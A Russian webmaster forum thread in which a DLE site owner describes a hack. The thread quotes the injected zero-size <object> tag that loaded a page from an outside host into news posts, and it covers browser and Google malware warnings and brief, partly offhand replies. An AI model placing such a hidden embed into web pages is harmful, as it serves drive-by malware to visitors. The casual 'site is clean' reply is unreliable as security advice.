X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> вирусы на сайте Dle! ПОМОГИТЕ ПЛИЗ!
boomep
boomep
Topic Starter сообщение 3.2.2010, 22:14; Ответить: boomep
Сообщение #1


Участник
***

Группа: User
Сообщений: 183
Регистрация: 23.4.2008
Поблагодарили: 7 раз
Репутация:   7  


Все началось с того, что позвонил по аське один журналист и сказал, что каспер ругаеться на какой то вирус.
После долгой проверки всех файлов заметил чужой ява скрипт код в файлах
<script type="text/javascript" src="/engine/ajax/menu.js"></script>
<script type="text/javascript" src="/engine/ajax/dle_ajax.js"></script>
<script type="text/javascript" src="/engine/ajax/js_edit.js"></script>

а также в файле main.tpl


Код удалил. Сверил все фалы с исходниками (в орхиве). Больше изменений не было обнаружено.
Сменил пароли к БД ФТП и прочие.
Потому модератор на сайте говорит, что у тебя мол появился при редактировании новсотей не понятный код. При чем он может появляться как в полной, так и в краткой новости. И в любом месте (после картинки, после ссылок в середине текста и т д.)

Код следующий
<object data="http://metaiframe.org/in2.html" width="0" height="0"></object>

С помощью утилиты поиск и замена в DLE прошелся по всем новостям и заменил ссылку на этот сайт ссылкой на свой сайт. Но потом начал замечать, что появляються ссылки на другие сайты тоже в теге
<object>

Не знаю, что может быть. Менял винду, поставил KIS 2010 лицензия. Проверился всеми возмодными анивирямии троян-поисками. НИчего не нашел
А теперь еще и при попытк через некоторые браузеры войти на сайт пишет след
Имеется информация, что эта веб-страница атакует компьютеры!
Имеется информация о том, что веб-страница obuk.ru используется для атак на компьютеры пользователей. В соответствии с вашими настройками безопасности она была заблокирована.

Веб-страницы, атакующие компьютеры, пытаются установить программное обеспечение, которое похищает персональную информацию, вредит вашей системе или использует ваш компьютер для атак на другие компьютеры.

Некоторые страницы намеренно созданы для распространения вредоносного программного обеспечения, однако многие страницы были взломаны и делают это без ведома или разрешения своих владельцев.


Браузеры mozila, chrom.
Резко упал траф с гугла (17 000 в сутки sad.gif)
При поиске в гугле ссылка на мой сайт выдаеться с текстом мол сайт расссылает вредоносное ПО.
Так что подскажите еще плиз как с гуглом решить проблему и как меня ломают??
DLE не лицензия 6.3
Спасибо всем огромное.
Сайт obuk.ru

За ошибки поршу не пинать smile.gif

Сообщение отредактировал boomep - 3.2.2010, 22:14
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
EvilGomel
EvilGomel
сообщение 3.2.2010, 22:37; Ответить: EvilGomel
Сообщение #2


!Тунеядец!
*******


Группа: Active User
Сообщений: 4773
Регистрация: 13.5.2009
Из: Белица
Поблагодарили: 1070 раз
Репутация:   117  


Проверь сайт на шелл.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
boomep
boomep
Topic Starter сообщение 3.2.2010, 22:38; Ответить: boomep
Сообщение #3


Участник
***

Группа: User
Сообщений: 183
Регистрация: 23.4.2008
Поблагодарили: 7 раз
Репутация:   7  


smile.gif подскажите как это сделать ?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kpk21
kpk21
сообщение 3.2.2010, 22:49; Ответить: kpk21
Сообщение #4


клоновод
******


Группа: Banned
Сообщений: 1173
Регистрация: 31.3.2009
Из: Евпатория
Поблагодарили: 347 раз
Репутация:   4  


Проверил ваш сайт вирусов на нём нет можете спать спокойно.


--------------------
клоновод
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
boomep
boomep
Topic Starter сообщение 3.2.2010, 23:01; Ответить: boomep
Сообщение #5


Участник
***

Группа: User
Сообщений: 183
Регистрация: 23.4.2008
Поблагодарили: 7 раз
Репутация:   7  


smile.gif а как с гуглом сново подружиться? а то табличка, что сат распространяет вредоносное ПО немного пугает нароД smile.gif
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
xomka
xomka
сообщение 3.2.2010, 23:06; Ответить: xomka
Сообщение #6


Старожил
******


Группа: Banned
Сообщений: 1257
Регистрация: 9.2.2008
Из: Киев
Поблагодарили: 190 раз
Репутация:   22  


(boomep @ 3.2.2010, 22:01) *
smile.gif а как с гуглом сново подружиться? а то табличка, что сат распространяет вредоносное ПО немного пугает нароД smile.gif


если нет вируса, через сутки все ок будет.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
duoseo
duoseo
сообщение 3.2.2010, 23:12; Ответить: duoseo
Сообщение #7


Старожил
******

Группа: Active User
Сообщений: 1978
Регистрация: 24.11.2009
Из: Россия
Поблагодарили: 1215 раз
Репутация:   219  


(xomka @ 3.2.2010, 22:06) *
если нет вируса, через сутки все ок будет.


оО - то ли мне не везет, то ли вы несколько ошиблись.
тоже один сайт был заражен (http://iteas.ru/) проверил, ничего нет. И гугл говорит что после 26 января ниодного вируса замечено не было - сегодня 3е число, табличка висит.
Благо этот проект не развиваю, и там отсилы 10 уников в сутки - то мне не критично что есть табличка, но факт что гугл ее не снял после исчезновения вируса, остается фактом.

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Узнай все, о своем и чужом сайте
Выгрузка: Ahrefs+Semrush+Majestic+Spywords
7 matrixzp 1249 Сегодня, 2:03
автор: matrixzp
Горячая тема (нет новых ответов) Ню фото на сайте фотографа
Раздел или отдельный сайт
29 Valerypantera 1454 Вчера, 17:02
автор: genjnat
Горячая тема (нет новых ответов) Помогите, пожалуйста, моей дочери выжить!
благотворительный топик
30 vitvirtual 3734 19.5.2018, 8:30
автор: vitvirtual
Горячая тема (нет новых ответов) Регистрация Вашего сайта (профиля,DLE сайты,подписи на форумах,постинг Тиц 10> , ПР 1>)
311 kaartes 112568 17.5.2018, 19:07
автор: kaartes
Открытая тема (нет новых ответов) Видео баннер на сайте и его влияние
0 Seoworke 280 17.5.2018, 10:56
автор: Seoworke


 



RSS Текстовая версия Сейчас: 21.5.2018, 5:59
Дизайн